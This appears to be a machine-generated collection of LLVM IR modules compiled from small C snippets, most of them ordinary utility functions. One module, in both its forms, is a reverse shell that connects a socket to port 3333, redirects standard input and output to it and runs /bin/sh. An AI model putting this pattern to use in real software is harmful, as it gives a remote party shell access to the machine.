call i32 @system(ptr noundef @.str.1) ret void } declare double @pow(i32 noundef, double noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #2 declare i32 @printf(ptr noundef, double noundef) #1 declare i32 @system(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp84v3zk03.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [12 x i8] c"SUM is: %f\0A\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"pause\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @main() #0 { %1 = alloca double, align 8 %2 = alloca double, align 8 %3 = alloca i32, align 4 store double 0.000000e+00, ptr %1, align 8 store i32 0, ptr %3, align 4 store i32 0, ptr %3, align 4 %4 = load i32, ptr %3, align 4 %5 = icmp sle i32 %4, 100 br i1 %5, label %.lr.ph, label %12 .lr.ph: ; preds = %0 br label %6 6: ; preds = %.lr.ph, %7 br label %7 7: ; preds = %6 %8 = load i32, ptr %3, align 4 %9 = add nsw i32 %8, 1 store i32 %9, ptr %3, align 4 %10 = load i32, ptr %3, align 4 %11 = icmp sle i32 %10, 100 br i1 %11, label %6, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %7 br label %12 12: ; preds = %._crit_edge, %0 %13 = load i32, ptr %3, align 4 %14 = call double @pow(i32 noundef %13, double noundef 0x3FD5555555555555) store double %14, ptr %2, align 8 %15 = load double, ptr %1, align 8 %16 = load i32, ptr %3, align 4 %17 = load i32, ptr %3, align 4 %18 = mul nsw i32 %16, %17 %19 = sitofp i32 %18 to double %20 = load double, ptr %2, align 8 %21 = call double @llvm.fmuladd.f64(double %19, double %20, double %15) store double %21, ptr %1, align 8 %22 = load double, ptr %1, align 8 %23 = call i32 @printf(ptr noundef @.str, double noundef %22) %24 = call i32 @system(ptr noundef @.str.1) ret void } declare double @pow(i32 noundef, double noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #2 declare i32 @printf(ptr noundef, double noundef) #1 declare i32 @system(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpb4p1_8tp.c' source_filename = "/tmp/tmpb4p1_8tp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpb4p1_8tp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp7m6cwflz.c' source_filename = "/tmp/tmp7m6cwflz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @last_vector(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 %5 = load ptr, ptr %3, align 8 %6 = load i32, ptr %5, align 4 %7 = sub nsw i32 %6, 1 store i32 %7, ptr %5, align 4 %8 = load ptr, ptr %4, align 8 %9 = load ptr, ptr %8, align 8 %10 = load ptr, ptr %3, align 8 %11 = load i32, ptr %10, align 4 %12 = sext i32 %11 to i64 %13 = mul i64 %12, 4 %14 = trunc i64 %13 to i32 %15 = call ptr @realloc(ptr noundef %9, i32 noundef %14) %16 = load ptr, ptr %4, align 8 store ptr %15, ptr %16, align 8 ret i32 0 } declare ptr @realloc(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7m6cwflz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @last_vector(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 %5 = load ptr, ptr %3, align 8 %6 = load i32, ptr %5, align 4 %7 = sub nsw i32 %6, 1 store i32 %7, ptr %5, align 4 %8 = load ptr, ptr %4, align 8 %9 = load ptr, ptr %8, align 8 %10 = load ptr, ptr %3, align 8 %11 = load i32, ptr %10, align 4 %12 = sext i32 %11 to i64 %13 = mul i64 %12, 4 %14 = trunc i64 %13 to i32 %15 = call ptr @realloc(ptr noundef %9, i32 noundef %14) %16 = load ptr, ptr %4, align 8 store ptr %15, ptr %16, align 8 ret i32 0 } declare ptr @realloc(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpgibygajc.c' source_filename = "/tmp/tmpgibygajc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @wcsncat(ptr noalias noundef %0, ptr noalias noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %9 = load ptr, ptr %4, align 8 store ptr %9, ptr %7, align 8 br label %10 10: ; preds = %14, %3 %11 = load ptr, ptr %4, align 8 %12 = load i64, ptr %11, align 8 %13 = icmp ne i64 %12, 0 br i1 %13, label %14, label %17 14: ; preds = %10 %15 = load ptr, ptr %4, align 8 %16 = getelementptr inbounds i64, ptr %15, i32 1 store ptr %16, ptr %4, align 8 br label %10, !llvm.loop !6 17: ; preds = %10 store i64 0, ptr %8, align 8 br label %18 18: ; preds = %38, %17 %19 = load i64, ptr %8, align 8 %20 = load i64, ptr %6, align 8 %21 = icmp ult i64 %19, %20 br i1 %21, label %22, label %28 22: ; preds = %18 %23 = load ptr, ptr %5, align 8 %24 = load i64, ptr %8, align 8 %25 = getelementptr inbounds i64, ptr %23, i64 %24 %26 = load i64, ptr %25, align 8 %27 = icmp ne i64 %26, 0 br label %28 28: ; preds = %22, %18 %29 = phi i1 [ false, %18 ], [ %27, %22 ] br i1 %29, label %30, label %41 30: ; preds = %28 %31 = load ptr, ptr %5, align 8 %32 = load i64, ptr %8, align 8 %33 = getelementptr inbounds i64, ptr %31, i64 %32 %34 = load i64, ptr %33, align 8 %35 = load ptr, ptr %4, align 8 %36 = load i64, ptr %8, align 8 %37 = getelementptr inbounds i64, ptr %35, i64 %36 store i64 %34, ptr %37, align 8 br label %38 38: ; preds = %30 %39 = load i64, ptr %8, align 8 %40 = add i64 %39, 1 store i64 %40, ptr %8, align 8 br label %18, !llvm.loop !8 41: ; preds = %28 %42 = load ptr, ptr %4, align 8 %43 = load i64, ptr %8, align 8 %44 = getelementptr inbounds i64, ptr %42, i64 %43 store i64 0, ptr %44, align 8 %45 = load ptr, ptr %7, align 8 ret ptr %45 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpgibygajc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @wcsncat(ptr noalias noundef %0, ptr noalias noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %9 = load ptr, ptr %4, align 8 store ptr %9, ptr %7, align 8 %10 = load ptr, ptr %4, align 8 %11 = load i64, ptr %10, align 8 %12 = icmp ne i64 %11, 0 br i1 %12, label %.lr.ph, label %19 .lr.ph: ; preds = %3 br label %13 13: ; preds = %.lr.ph, %13 %14 = load ptr, ptr %4, align 8 %15 = getelementptr inbounds i64, ptr %14, i32 1 store ptr %15, ptr %4, align 8 %16 = load ptr, ptr %4, align 8 %17 = load i64, ptr %16, align 8 %18 = icmp ne i64 %17, 0 br i1 %18, label %13, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %13 br label %19 19: ; preds = %._crit_edge, %3 store i64 0, ptr %8, align 8 br label %20 20: ; preds = %40, %19 %21 = load i64, ptr %8, align 8 %22 = load i64, ptr %6, align 8 %23 = icmp ult i64 %21, %22 br i1 %23, label %24, label %30 24: ; preds = %20 %25 = load ptr, ptr %5, align 8 %26 = load i64, ptr %8, align 8 %27 = getelementptr inbounds i64, ptr %25, i64 %26 %28 = load i64, ptr %27, align 8 %29 = icmp ne i64 %28, 0 br label %30 30: ; preds = %24, %20 %31 = phi i1 [ false, %20 ], [ %29, %24 ] br i1 %31, label %32, label %43 32: ; preds = %30 %33 = load ptr, ptr %5, align 8 %34 = load i64, ptr %8, align 8 %35 = getelementptr inbounds i64, ptr %33, i64 %34 %36 = load i64, ptr %35, align 8 %37 = load ptr, ptr %4, align 8 %38 = load i64, ptr %8, align 8 %39 = getelementptr inbounds i64, ptr %37, i64 %38 store i64 %36, ptr %39, align 8 br label %40 40: ; preds = %32 %41 = load i64, ptr %8, align 8 %42 = add i64 %41, 1 store i64 %42, ptr %8, align 8 br label %20, !llvm.loop !8 43: ; preds = %30 %44 = load ptr, ptr %4, align 8 %45 = load i64, ptr %8, align 8 %46 = getelementptr inbounds i64, ptr %44, i64 %45 store i64 0, ptr %46, align 8 %47 = load ptr, ptr %7, align 8 ret ptr %47 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpxgggiwu1.c' source_filename = "/tmp/tmpxgggiwu1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 } %struct.TYPE_2__ = type { i32 } @AF_INET = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"127.0.0.1\00", align 1 @SOCK_STREAM = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca %struct.sockaddr_in, align 4 %7 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr @AF_INET, align 4 %9 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 2 store i32 %8, ptr %9, align 4 %10 = call i32 @inet_addr(ptr noundef @.str) %11 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 1 %12 = getelementptr inbounds %struct.TYPE_2__, ptr %11, i32 0, i32 0 store i32 %10, ptr %12, align 4 %13 = call i32 @htons(i32 noundef 3333) %14 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 0 store i32 %13, ptr %14, align 4 %15 = load i32, ptr @AF_INET, align 4 %16 = load i32, ptr @SOCK_STREAM, align 4 %17 = call i32 @socket(i32 noundef %15, i32 noundef %16, i32 noundef 0) store i32 %17, ptr %7, align 4 %18 = load i32, ptr %7, align 4 %19 = call i32 @connect(i32 noundef %18, ptr noundef %6, i32 noundef 12) %20 = load i32, ptr %7, align 4 %21 = call i32 @dup2(i32 noundef %20, i32 noundef 0) %22 = load i32, ptr %7, align 4 %23 = call i32 @dup2(i32 noundef %22, i32 noundef 1) %24 = load i32, ptr %7, align 4 %25 = call i32 @dup2(i32 noundef %24, i32 noundef 2) %26 = call i32 @execve(ptr noundef @.str.1, i32 noundef 0, i32 noundef 0) ret i32 0 } declare i32 @inet_addr(ptr noundef) #1 declare i32 @htons(i32 noundef) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @dup2(i32 noundef, i32 noundef) #1 declare i32 @execve(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpxgggiwu1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 } %struct.TYPE_2__ = type { i32 } @AF_INET = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"127.0.0.1\00", align 1 @SOCK_STREAM = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca %struct.sockaddr_in, align 4 %7 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr @AF_INET, align 4 %9 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 2 store i32 %8, ptr %9, align 4 %10 = call i32 @inet_addr(ptr noundef @.str) %11 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 1 %12 = getelementptr inbounds %struct.TYPE_2__, ptr %11, i32 0, i32 0 store i32 %10, ptr %12, align 4 %13 = call i32 @htons(i32 noundef 3333) %14 = getelementptr inbounds %struct.sockaddr_in, ptr %6, i32 0, i32 0 store i32 %13, ptr %14, align 4 %15 = load i32, ptr @AF_INET, align 4 %16 = load i32, ptr @SOCK_STREAM, align 4 %17 = call i32 @socket(i32 noundef %15, i32 noundef %16, i32 noundef 0) store i32 %17, ptr %7, align 4 %18 = load i32, ptr %7, align 4 %19 = call i32 @connect(i32 noundef %18, ptr noundef %6, i32 noundef 12) %20 = load i32, ptr %7, align 4 %21 = call i32 @dup2(i32 noundef %20, i32 noundef 0) %22 = load i32, ptr %7, align 4 %23 = call i32 @dup2(i32 noundef %22, i32 noundef 1) %24 = load i32, ptr %7, align 4 %25 = call i32 @dup2(i32 noundef %24, i32 noundef 2) %26 = call i32 @execve(ptr noundef @.str.1, i32 noundef 0, i32 noundef 0) ret i32 0 } declare i32 @inet_addr(ptr noundef) #1 declare i32 @htons(i32 noundef) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @dup2(i32 noundef, i32 noundef) #1 declare i32 @execve(ptr noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpeb714i1j.c' source_filename = "/tmp/tmpeb714i1j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [33 x i8] c"Usage: %s <file.dex> [options]\0A\00", align 1 @.str.1 = private unnamed_addr constant [11 x i8] c" options:\0A\00", align 1 @.str.2 = private unnamed_addr constant [33 x i8] c"\09-t\09print only the text strings\0A\00", align 1 @.str.3 = private unnamed_addr constant [31 x i8] c"\09-s\09print the size of strings\0A\00", align 1 @.str.4 = private unnamed_addr constant [45 x i8] c"\09-r\09print how many references a string have\0A\00", align 1 @.str.5 = private unnamed_addr constant [41 x i8] c"\09-u\09check if the string contain unicode\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @help_show_message(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load i32, ptr @stderr, align 4 %4 = load ptr, ptr %2, align 8 %5 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %3, ptr noundef @.str, ptr noundef %4) %6 = load i32, ptr @stderr, align 4 %7 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %6, ptr noundef @.str.1) %8 = load i32, ptr @stderr, align 4 %9 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %8, ptr noundef @.str.2) %10 = load i32, ptr @stderr, align 4 %11 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %10, ptr noundef @.str.3) %12 = load i32, ptr @stderr, align 4 %13 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %12, ptr noundef @.str.4) %14 = load i32, ptr @stderr, align 4 %15 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %14, ptr noundef @.str.5) ret void } declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpeb714i1j.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stderr = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [33 x i8] c"Usage: %s <file.dex> [options]\0A\00", align 1 @.str.1 = private unnamed_addr constant [11 x i8] c" options:\0A\00", align 1 @.str.2 = private unnamed_addr constant [33 x i8] c"\09-t\09print only the text strings\0A\00", align 1 @.str.3 = private unnamed_addr constant [31 x i8] c"\09-s\09print the size of strings\0A\00", align 1 @.str.4 = private unnamed_addr constant [45 x i8] c"\09-r\09print how many references a string have\0A\00", align 1 @.str.5 = private unnamed_addr constant [41 x i8] c"\09-u\09check if the string contain unicode\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @help_show_message(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load i32, ptr @stderr, align 4 %4 = load ptr, ptr %2, align 8 %5 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %3, ptr noundef @.str, ptr noundef %4) %6 = load i32, ptr @stderr, align 4 %7 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %6, ptr noundef @.str.1) %8 = load i32, ptr @stderr, align 4 %9 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %8, ptr noundef @.str.2) %10 = load i32, ptr @stderr, align 4 %11 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %10, ptr noundef @.str.3) %12 = load i32, ptr @stderr, align 4 %13 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %12, ptr noundef @.str.4) %14 = load i32, ptr @stderr, align 4 %15 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %14, ptr noundef @.str.5) ret void } declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp6vjnr2x5.c' source_filename = "/tmp/tmp6vjnr2x5.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [39 x i8] c" ************* slab controller error \0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @slabcon(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = call i32 @direction(i32 noundef %7) store i32 %8, ptr %6, align 4 %9 = load i32, ptr %6, align 4 %10 = icmp eq i32 %9, -1 br i1 %10, label %11, label %22 11: ; preds = %2 %12 = load i32, ptr %4, align 4 %13 = load i32, ptr %5, align 4 %14 = icmp sle i32 %12, %13 br i1 %14, label %15, label %16 15: ; preds = %11 store i32 0, ptr %3, align 4 br label %58 16: ; preds = %11 %17 = load i32, ptr %4, align 4 %18 = load i32, ptr %5, align 4 %19 = icmp sgt i32 %17, %18 br i1 %19, label %20, label %21 20: ; preds = %16 store i32 1, ptr %3, align 4 br label %58 21: ; preds = %16 store i32 0, ptr %3, align 4 br label %58 22: ; preds = %2 %23 = load i32, ptr %6, align 4 %24 = icmp eq i32 %23, 1 br i1 %24, label %25, label %38 25: ; preds = %22 %26 = load i32, ptr %4, align 4 %27 = load i32, ptr %5, align 4 